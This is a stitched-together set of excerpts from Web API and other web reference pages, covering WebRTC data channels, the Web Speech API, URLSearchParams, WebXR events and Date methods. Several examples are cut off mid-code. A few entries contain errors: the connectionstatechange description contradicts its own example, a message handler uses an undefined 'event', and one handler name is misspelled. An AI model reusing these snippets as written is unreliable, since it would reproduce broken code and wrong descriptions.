... syntax var tries = adatachannel.maxretransmits; value the maximum number of times the browser will try to retransmit a message before giving up, or null if not set when rtcpeerconnection.createdatachannel() was called.
... example // tbd specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.maxretransmits' in that specification.
RTCDataChannel: message event - Web APIs
the webrtc message event is sent to the onmessage event handler on an rtcdatachannel object when a message has been received from the remote peer.
... examples for a given rtcdatachannel, dc, created for a peer connection using its createdatachannel() method, this code sets up a handler for incoming messages and acts on them by adding the data contained within the message to the current document as a new <p> (paragraph) element.
... dc.addeventlistener("message", ev => { let newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data); newparagraph.appendchild(textnode); document.body.appendchild(newparagraph); }, false); lines 2-4 create the new paragraph element and add the message data to it as a new text node.
... you can also use an rtcdatachannel object's onmessage event handler property to set the event handler: dc.onmessage = ev => { let newparagraph = document.createelement("p"); let textnode = document.createtextnode(event.data); newparagraph.appendchild(textnode); document.body.appendchild(newparagraph); } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'the <code>message</code> event' in that specification.
RTCDataChannel.ordered - Web APIs
the read-only rtcdatachannel property ordered indicates whether or not the data channel guarantees in-order delivery of messages; the default is true, which indicates that the data channel is indeed ordered.
... this is set when the rtcdatachannel is created, by setting the ordered property on the rtcdatachannelinit object passed as rtcpeerconnection.createdatachannel()'s options parameter.
... syntax var ordered = adatachannel.ordered; a boolean value which is true if in-order delivery is guaranteed and is otherwise false.
... example var pc = new rtcpeerconnection(); var dc = pc.createdatachannel("my channel"); if (!dc.ordered) { // handle unordered messaging } specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'rtcdatachannel.ordered' in that specification.
RTCPeerConnection: connectionstatechange event - Web APIs
the connectionstatechange event is sent to the ontrack event handler on an rtcpeerconnection object after a new track has been added to an rtcrtpreceiver which is part of the connection.
... bubbles no cancelable no interface event event handler onconnectionstatechange examples for an rtcpeerconnection, pc, this example sets up a handler for connectionstatechange messages to handle changes to the connectivity of the webrtc session.
... pc.onconnectionstatechange = ev => { switch(pc.connectionstate) { case "new": case "checking": setonlinestatus("connecting..."); break; case "connected": setonlinestatus("online"); break; case "disconnected": setonlinestatus("disconnecting..."); break; case "closed": setonlinestatus("offline"); break; case "failed": setonlinestatus("error"); break; default: setonlinestatus("unknown"); break; } } you can also create a handler for connectionstatechange by using addeventlistener(): pc.addeventlistener("connectionstatechange", ev => { switch(pc.connectionstate) { /* ...
... */ } }, false); specifications specification status comment webrtc 1.0: real-time communication between browsersthe definition of 'connectionstatechange' in that specification.
Range.detach() - Web APIs
WebAPIRangedetach
the range.detach() method does nothing.
... syntax range.detach(); example var range = document.createrange(); range.selectnode(document.getelementsbytagname("div").item(0)); range.detach(); specifications specification status comment domthe definition of 'range.detach()' in that specification.
... living standard no change.
... document object model (dom) level 2 traversal and range specificationthe definition of 'range.detach()' in that specification.
Selection.anchorNode - Web APIs
the selection.anchornode read-only property returns the node in which the selection begins.
...the anchor is where the user began the selection.
...the selection's anchor does not move, but the selection's focus, the other end of the selection, does move.
... syntax node = sel.anchornode specifications specification status comment selection apithe definition of 'selection.anchornode' in that specification.
ServiceWorkerGlobalScope.onpushsubscriptionchange - Web APIs
the serviceworkerglobalscope.onpushsubscriptionchange event of the serviceworkerglobalscope interface is fired to indicate a change in push subscription that was triggered outside the application's control, e.g.
... syntax serviceworkerglobalscope.onpushsubscriptionchange = function() { ...
... } self.addeventlistener('pushsubscriptionchange', function() { ...
... }) example self.addeventlistener('pushsubscriptionchange', function() { // do something, usually resubscribe to push and // send the new subscription details back to the // server via xhr or fetch }); specifications specification status comment push apithe definition of 'onpushsubscriptionchange' in that specification.
SpeechGrammar.src - Web APIs
WebAPISpeechGrammarsrc
the src property of the speechgrammar interface sets and returns a string containing the grammar from within in the speechgrammar object.
... syntax var mygrammar = speechgrammarinstance.src; value a domstring representing the grammar.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecogn...
... specifications specification status comment web speech apithe definition of 'src' in that specification.
SpeechGrammar.weight - Web APIs
the optional weight property of the speechgrammar interface sets and returns the weight of the speechgrammar object.
... syntax var mygrammarweight = speechgrammarinstance.weight; value a float representing the weight of the grammar, in the range 0.0–1.0.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; console.log(speechrecognitionlist[0].src); // should return the same as the contents of the grammar variable console.log(speechrecogn...
... specifications specification status comment web speech apithe definition of 'weight' in that specification.
SpeechGrammarList.item() - Web APIs
the item getter of the speechgrammarlist interface is a standard getter — it allows individual speechgrammar objects to be retrieved from the speechgrammarlist using array syntax.
... syntax var myfirstgrammar = speechgrammarlistinstance[0]; returns a speechgrammar object.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var myfirstgrammar = speechrecognitionlist[0]; // var should contain the speechgrammar object created in line 4.
... specifications specification status comment web speech apithe definition of 'item()' in that specification.
SpeechGrammarList.length - Web APIs
the length read-only property of the speechgrammarlist interface returns the number of speechgrammar objects contained in the speechgrammarlist.
... syntax var mylistlength = speechgrammarlistinstance.length; value a number indicating the number of speechgrammar objects contained in the speechgrammarlist.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; speechrecognitionlist.length; // should return 1.
... specifications specification status comment web speech apithe definition of 'length' in that specification.
SpeechRecognition.abort() - Web APIs
the abort() method of the web speech api stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a speechrecognitionresult.
... syntax myspeechrecognition.abort(); returns void.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick...
... = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'abort()' in that specification.
SpeechRecognition.serviceURI - Web APIs
the serviceuri property of the speechrecognition interface specifies the location of the speech recognition service used by the current speechrecognition to handle the actual recognition.
... the default is the user agent's default speech service.
... syntax var myserviceuri = myspeechrecognition.serviceuri; myspeechrecognition.serviceuri = 'path/to/my/service/'; value a domstring representing the uri of the speech recognition service.
... examples var recognition = new speechrecognition(); recognition.serviceuri = 'http://www.example.com'; ...
SpeechRecognition.start() - Web APIs
the start() method of the web speech api starts the speech recognition service listening to incoming audio with intent to recognize grammars associated with the current speechrecognition.
... syntax myspeechrecognition.start(); parameters none.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.oncli...
...ck = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'start()' in that specification.
SpeechRecognition.stop() - Web APIs
the stop() method of the web speech api stops the speech recognition service from listening to incoming audio, and attempts to return a speechrecognitionresult using the audio captured so far.
... syntax myspeechrecognition.stop(); returns void.
... examples var grammar = '#jsgf v1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;' var recognition = new speechrecognition(); var speechrecognitionlist = new speechgrammarlist(); speechrecognitionlist.addfromstring(grammar, 1); recognition.grammars = speechrecognitionlist; var diagnostic = document.queryselector('.output'); var bg = document.queryselector('html'); document.body.onclick...
... = function() { recognition.start(); console.log('ready to receive a color command.'); } abortbtn.onclick = function() { recognition.abort(); console.log('speech recognition aborted.'); } recognition.onspeechend = function() { recognition.stop(); console.log('speech recognition has stopped.'); } specifications specification status comment web speech apithe definition of 'stop()' in that specification.
SpeechSynthesis.cancel() - Web APIs
the cancel() method of the speechsynthesis interface removes all utterances from the utterance queue.
... syntax speechsynthesisinstance.cancel(); returns void.
... examples var synth = window.speechsynthesis; var utterance1 = new speechsynthesisutterance('how about we say this now?
... this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.cancel(); // utterance1 stops being spoken immediately, and both are removed from the queue specifications specification status comment web speech apithe definition of 'cancel()' in that specification.
SpeechSynthesis.pause() - Web APIs
the pause() method of the speechsynthesis interface puts the speechsynthesis object into a paused state.
... syntax speechsynthesisinstance.pause(); returns void.
... examples var synth = window.speechsynthesis; var utterance1 = new speechsynthesisutterance('how about we say this now?
... this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.pause(); // pauses utterances being spoken specifications specification status comment web speech apithe definition of 'pause()' in that specification.
SpeechSynthesis.paused - Web APIs
the paused read-only property of the speechsynthesis interface is a boolean that returns true if the speechsynthesis object is in a paused state, or false if not.
...if utterances are then added to the utterance queue, they will not be spoken until the speechsynthesis object is unpaused, using speechsynthesis.resume().
... syntax var amipaused = speechsynthesisinstance.paused; value a boolean.
... examples var synth = window.speechsynthesis; synth.pause(); var amipaused = synth.paused; // will return true specifications specification status comment web speech apithe definition of 'paused' in that specification.
SpeechSynthesis.pending - Web APIs
the pending read-only property of the speechsynthesis interface is a boolean that returns true if the utterance queue contains as-yet-unspoken utterances.
... syntax var amipending = speechsynthesisinstance.pending; value a boolean.
... examples var synth = window.speechsynthesis; var utterance1 = new speechsynthesisutterance('how about we say this now?
... this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); var amipending = synth.pending; // will return true if utterance 1 is still being spoken and utterance 2 is in the queue specifications specification status comment web speech apithe definition of 'pending' in that specification.
SpeechSynthesis.resume() - Web APIs
the resume() method of the speechsynthesis interface puts the speechsynthesis object into a non-paused state: resumes it if it was already paused.
... syntax speechsynthesisinstance.resume(); returns void.
... examples var synth = window.speechsynthesis; var utterance1 = new speechsynthesisutterance('how about we say this now?
... this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); synth.pause(); // pauses utterances being spoken synth.resume() // resumes speaking specifications specification status comment web speech apithe definition of 'resume()' in that specification.
SpeechSynthesis.speaking - Web APIs
the speaking read-only property of the speechsynthesis interface is a boolean that returns true if an utterance is currently in the process of being spoken — even if speechsynthesis is in a paused state.
... syntax var amispeaking = speechsynthesisinstance.speaking; value a boolean.
... examples var synth = window.speechsynthesis; var utterance1 = new speechsynthesisutterance('how about we say this now?
... this is quite a long sentence to say.'); var utterance2 = new speechsynthesisutterance('we should say another sentence too, just to be on the safe side.'); synth.speak(utterance1); synth.speak(utterance2); var amispeaking = synth.speaking; // will return true if utterance 1 or utterance 2 are currently being spoken specifications specification status comment web speech apithe definition of 'speaking' in that specification.
SpeechSynthesisUtterance.lang - Web APIs
the lang property of the speechsynthesisutterance interface gets and sets the language of the utterance.
... syntax var mylang = speechsynthesisutteranceinstance.lang; speechsynthesisutteranceinstance.lang = 'en-us'; value a domstring representing a bcp 47 language tag.
... examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.lang = 'en-us'; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'lang' in that specification.
SpeechSynthesisUtterance.onpause - Web APIs
the onpause property of the speechsynthesisutterance interface represents an event handler that will run when the utterance is paused part way through (when the pause event fires.) this occurs when the speechsynthesis.pause() method is invoked.
... syntax speechsynthesisutteranceinstance.onpause = function() { ...
... }; examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onpause = function(event) { console.log('speech paused after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onpause' in that specification.
SpeechSynthesisUtterance.onresume - Web APIs
the onresume property of the speechsynthesisutterance interface represents an event handler that will run when a paused utterance is resumed (when the resume event fires.) this occurs when the speechsynthesis.resume() method is invoked on a paused speech synthesis instance.
... syntax speechsynthesisutteranceinstance.onresume = function() { ...
... }; examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onresume = function(event) { console.log('speech resumed after ' + event.elapsedtime + ' milliseconds.'); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onresume' in that specification.
SpeechSynthesisUtterance.onstart - Web APIs
the onstart property of the speechsynthesisutterance interface represents an event handler that will run when the utterance has begun to be spoken (when the start event fires.) this occurs when the speechsynthesis.speak() method is invoked.
... syntax speechsynthesisutteranceinstance.onstart = function() { ...
... }; examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } synth.speak(utterthis); utterthis.onstart = function(event) { console.log('we have started uttering this speech: ' + event.utterance.text); } inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'onstart' in that specification.
SpeechSynthesisUtterance.volume - Web APIs
the volume property of the speechsynthesisutterance interface gets and sets the volume that the utterance will be spoken at.
... syntax var myvolume = speechsynthesisutteranceinstance.volume; speechsynthesisutteranceinstance.volume = 0.5; value a float that represents the volume value, between 0 (lowest) and 1 (highest.) if ssml is used, this value will be overridden by prosody tags in the markup.
... examples var synth = window.speechsynthesis; var inputform = document.queryselector('form'); var inputtxt = document.queryselector('input'); var voiceselect = document.queryselector('select'); var voices = synth.getvoices(); ...
... inputform.onsubmit = function(event) { event.preventdefault(); var utterthis = new speechsynthesisutterance(inputtxt.value); var selectedoption = voiceselect.selectedoptions[0].getattribute('data-name'); for(i = 0; i < voices.length ; i++) { if(voices[i].name === selectedoption) { utterthis.voice = voices[i]; } } utterthis.volume = 0.5; synth.speak(utterthis); inputtxt.blur(); } specifications specification status comment web speech apithe definition of 'volume' in that specification.
SpeechSynthesisVoice.default - Web APIs
the default read-only property of the speechsynthesisvoice interface returns a boolean indicating whether the voice is the default voice for the current app (true), or not (false.) note: for some devices, it might be the default voice for the voice's language.
... the spec is not very clear on which it should be, so some implementations may differ.
... syntax var amidefault = speechsynthesisvoiceinstance.default; value a boolean.
... examples for(i = 0; i < voices.length ; i++) { var option = document.createelement('option'); option.textcontent = voices[i].name + ' (' + voices[i].lang + ')'; if(voices[i].default) { option.textcontent += ' -- default'; } option.setattribute('data-lang', voices[i].lang); option.setattribute('data-name', voices[i].name); voiceselect.appendchild(option); } specifications specification status comment web speech apithe definition of 'default' in that specification.
StylePropertyMapReadOnly.forEach() - Web APIs
the stylepropertymapreadonly.foreach() method executes a provided function once for each element of stylepropertymapreadonly.
... syntax stylepropertymapreadonly.foreach(function callback(currentvalue[, index[, array]]) { //your code }[, thisarg]); parameters callback the function to execute for each element, taking three arguments: currentvalue the value of the current element being processed.
... arrayoptional the stylepropertymapreadonly thatforeach() is being called on.
... example // tbd specifications specification status comment css typed om level 1the definition of 'foreach()' in that specification.
SyncEvent.lastChance - Web APIs
the syncevent.lastchance read-only property of the syncevent interface returns true if the user agent will not make further synchronization attempts after the current attempt.
... this is the value passed in the lastchance parameter of the syncevent() constructor.
... syntax var lastchance = syncevent.lastchance value a boolean that indicates whether the user agent will not make further synchronization attempts after the current attempt.
... specifications specification web background synchronization ...
URL.search - Web APIs
WebAPIURLsearch
the search property of the url interface is a search string, also called a query string, that is a usvstring containing a '?' followed by the parameters of the url.
... modern browsers provide the url.searchparams property to make it easy to parse out the parameters from the query string.
... syntax const searchparams = object.search url.search = newsearchparams value a usvstring.
... examples const url = new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification.
URL.search - Web APIs
WebAPIURLsearch?q=123
the search property of the url interface is a search string, also called a query string, that is a usvstring containing a '?' followed by the parameters of the url.
... modern browsers provide the url.searchparams property to make it easy to parse out the parameters from the query string.
... syntax const searchparams = object.search url.search = newsearchparams value a usvstring.
... examples const url = new url('/docs/web/api/url/search?q=123'); console.log(url.search); // logs "?q=123" specifications specification status comment urlthe definition of 'url.search' in that specification.
URL.searchParams - Web APIs
WebAPIURLsearchParams
the searchparams readonly property of the url interface returns a urlsearchparams object allowing access to the get decoded query arguments contained in the url.
... syntax const urlsearchparams = url.searchparams value a urlsearchparams object.
... examples if the url of your page is https://example.com/?name=jonathan%20smith&age=18 you could parse out the name and age parameters using: let params = (new url(document.location)).searchparams; let name = params.get('name'); // is the string "jonathan smith".
... let age = parseint(params.get('age')); // is the number 18 specifications specification status comment urlthe definition of 'searchparams' in that specification.
URLSearchParams.append() - Web APIs
the append() method of the urlsearchparams interface appends a specified key/value pair as a new search parameter.
... as shown in the example below, if the same key is appended multiple times it will appear in the parameter string multiple times for each value.
... syntax urlsearchparams.append(name, value) parameters name the name of the parameter to append.
... examples let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a second foo parameter.
URLSearchParams.entries() - Web APIs
the entries() method of the urlsearchparams interface returns an iterator allowing iteration through all key/value pairs contained in this object.
... the key and value of each pair are usvstring objects.
... syntax searchparams.entries(); parameters none.
... examples // create a test urlsearchparams object var searchparams = new urlsearchparams("key1=value1&key2=value2"); // display the key/value pairs for(var pair of searchparams.entries()) { console.log(pair[0]+ ', '+ pair[1]); } the result is: key1, value1 key2, value2 specifications specification status comment urlthe definition of 'entries() (see "iterable")' in that specification.
URLSearchParams.get() - Web APIs
the get() method of the urlsearchparams interface returns the first value associated to the given search parameter.
... syntax urlsearchparams.get(name) parameters name the name of the parameter to return.
... return value a usvstring if the given search parameter is found; otherwise, null.
... examples if the url of your page is https://example.com/?name=jonathan&age=18 you could parse out the 'name' and 'age' parameters using: let params = new urlsearchparams(document.location.search.substring(1)); let name = params.get("name"); // is the string "jonathan" let age = parseint(params.get("age"), 10); // is the number 18 requesting a parameter that isn't present in the query string will return null: let address = params.get("address"); // null specifications specification status comment urlthe definition of 'get()' in that specification.
USBDevice.isochronousTransferOut() - Web APIs
the isochronoustransferout() method of the usbdevice interface returns a promise that resolves with a usbisochronousouttransferresult when time sensitive information has been transmitted to the usb device.
... syntax var promise = usbdevice.isochronoustransferout(endpointnumber, data, packetlengths) parameters endpointnumber the number of a device-specific endpoint (buffer).
... return value a promise that resolves with a usbisochronousouttransferresult.
... specifications specification status comment webusbthe definition of 'isochronoustransferout()' in that specification.
USBIsochronousOutTransferResult - Web APIs
the usbisochronousouttransferresult interface of the webusb api provides the result from a call to the isochronoustransferout() method of the usbdevice interface.
... constructor usbisochronousouttransferresult.usbisochronousouttransferresult() creates a new usbisochronousouttransferresult object with the provided packet field.
... properties usbisochronousouttransferresult.packetsread only returns an array of usbisochronousouttransferpacket objects containing the result of each request to send a packet to the device.
... specifications specification status comment webusbthe definition of 'usbisochronousouttransferresult' in that specification.
WebGLRenderingContext.detachShader() - Web APIs
the webglrenderingcontext.detachshader() method of the webgl api detaches a previously attached webglshader from a webglprogram.
... syntax void gl.detachshader(program, shader); parameters program a webglprogram.
... specifications specification status comment webgl 1.0the definition of 'detachshader' in that specification.
... opengl es 2.0the definition of 'gldetachshader' in that specification.
WindowEventHandlers.onlanguagechange - Web APIs
the onlanguagechange property of the windoweventhandlers mixin is the eventhandler for processing languagechange events.
...such an event is sent by the browser to inform that the preferred languages list has been updated.
... syntax object.onlanguagechange = function; value function is the name of a user-defined function, without the () suffix or any parameters, or an anonymous function declaration, such as function(event) {...}.
... example window.onlanguagechange = function(event) { console.log('languagechange event detected!'); }; specifications specification status comment html living standardthe definition of 'windoweventhandler.onlanguagechange' in that specification.
XRInputSourcesChangeEvent.added - Web APIs
the read-only xrinputsourceschangeevent property added is a list of zero or more input sources, each identified using an xrinputsource object, which have been newly made available for use.
... syntax let addedinputs = xrinputsourceschangeevent.added; value an array of zero or more xrinputsource objects, each representing one input device added to the xr system.
... examples the example below creates a handler for the inputsourceschange event that processes the lists of added and removed from the webxr system.
... xrsession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.added' in that specification.
XRInputSourcesChangeEvent.removed - Web APIs
the read-only xrinputsourceschangeevent property removed is an array of zero or more xrinputsource objects representing the input sources which have been removed from the xrsession.
... syntax removedinputs = xrinputsourceschangeevent.removed; value an array of zero or more xrinputsource objects, each representing one input device removed from the xr system.
... examples the example below creates a handler for the inputsourceschange event that processes the lists of added and removed from the webxr system.
... xrsession.oninputsourcescchange = event => { for (let input of event.added) { if (input.targetraymode == "tracked-pointer") { addedpointerdevice(input); } } for (let input of event.removed) { if (input.targetraymode == "tracked-pointer") { removedpointerdevice(input); } } }; specifications specification status comment webxr device apithe definition of 'xrinputsourceschangeevent.removed' in that specification.
XRSession: inputsourceschange event - Web APIs
the inputsourceschange event is sent to an xrsession when the set of available webxr input devices changes.
... the received event, of type xrinputsourceschangeevent, contains a list of any newly added and/or removed input devices.
... bubbles yes cancelable no interface xrinputsourceschangeevent event handler property oninputsourceschange the event object contains lists of the newly-added and/or removed input devices in its added and removed properties.
... examples specifications specification status comment webxr device apithe definition of 'inputsourceschange event' in that specification.
-webkit-touch-callout - CSS: Cascading Style Sheets
the -webkit-touch-callout css property controls the display of the default callout shown when you touch and hold a touch target.
... when a target is touched and held on ios, safari displays a callout information about the link.
... /* keyword values */ -webkit-touch-callout: default; -webkit-touch-callout: none; /* global values */ -webkit-touch-callout: initial; -webkit-touch-callout: inherit; -webkit-touch-callout: unset; syntax values default the default callout is displayed.
... formal definition initial valuedefaultapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax default | none examples turn off touch callout .example { -webkit-touch-callout: none; } specifications not part of any standard.
Accept-Patch - HTTP
the accept-patch response http header advertises which media-type the server is able to understand.
... accept-patch in response to any method means that patch is allowed on the resource identified by the request-uri.
... two common cases lead to this: a server receiving a patch request with an unsupported media type could reply with 415 unsupported media type and an accept-patch header referencing one or more supported media types.
... header type response header forbidden header name yes syntax accept-patch: application/example, text/example accept-patch: text/example;charset=utf-8 accept-patch: application/merge-patch+json directives none examples accept-patch: application/example, text/example accept-patch: text/example;charset=utf-8 accept-patch: application/merge-patch+json specifications specification title rfc 5789, section 3.1: accept-patch http patch ...
InternalError: too much recursion - JavaScript
the javascript exception "too much recursion" or "maximum call stack size exceeded" occurs when there are too many function calls, or a function is missing a base case.
... message error: out of stack space (edge) internalerror: too much recursion (firefox) rangeerror: maximum call stack size exceeded (chrome) error type internalerror.
... function loop(x) { if (x >= 10) // "x >= 10" is the exit condition return; // do stuff loop(x + 1); // the recursive call } loop(0); setting this condition to an extremely high value, won't work: function loop(x) { if (x >= 1000000000000) return; // do stuff loop(x + 1); } loop(0); // internalerror: too much recursion this recursive function is missing a base case.
... function loop(x) { // the base case is missing loop(x + 1); // recursive call } loop(0); // internalerror: too much recursion class error: too much recursion class person{ constructor(){} set name(name){ this.name = name; // recursive call } } const tony = new person(); tony.name = "tonisha"; // internalerror: too much recursion when a value is assigned to the property name (this.name = name;) javascript needs to set that property.
Date.prototype.getUTCHours() - JavaScript
the getutchours() method returns the hours in the specified date according to universal time.
... syntax dateobj.getutchours() return value an integer number, between 0 and 23, representing the hours in the given date according to universal time.
... examples using getutchours() the following example assigns the hours portion of the current time to the variable hours.
... var today = new date(); var hours = today.getutchours(); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.getutchours' in that specification.
Date.prototype.setUTCHours() - JavaScript
the setutchours() method sets the hour for a specified date according to universal time, and returns the number of milliseconds since january 1, 1970 00:00:00 utc until the time represented by the updated date instance.
... syntax dateobj.setutchours(hoursvalue[, minutesvalue[, secondsvalue[, msvalue]]]) parameters hoursvalue an integer between 0 and 23, representing the hour.
... if a parameter you specify is outside of the expected range, setutchours() attempts to update the date information in the date object accordingly.
... examples using setutchours() var thebigday = new date(); thebigday.setutchours(8); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.setutchours' in that specification.
<xsl:for-each> - XSLT: Extensible Stylesheet Language Transformations
WebXSLTElementfor-each
xslt/xpath reference: xslt elements, exslt functions, xpath functions, xpath axes the <xsl:for-each> element selects a set of nodes and processes each of them in the same way.
... it is often used to iterate through a set of nodes or to change the current node.
... if one or more <xsl:sort> elements appear as the children of this element, sorting occurs before processing.
... syntax <xsl:for-each select=expression> <xsl:sort> [optional] template </xsl:for-each> required attributes select uses an xpath expression to select nodes to be processed.
Loading Content Scripts - Archive of obsolete content
the constructors for content-script-using objects such as panel and page-mod define a group of options for loading content scripts: contentscript string, array contentscriptfile string, array contentscriptwhen string contentscriptoptions object we have already seen the contentscript option, which enables you to pass in the text of the script itself as a string literal.
... the contentscriptfile option enables you to pass in the local file url from which the content script will be loaded.
...contentscriptfile: data.url("my-content-script.js") both contentscript and contentscriptfile accept an array of strings, so you can load multiple scripts, which can also interact directly with each other in the content process: // "data" is supplied by the "self" module var data = require("sdk/self").data; ...
Working with Events - Archive of obsolete content
objects emit events on state changes that might be of interest to add-on code, such as browser windows opening, pages loading, network requests completing, and mouse clicks.
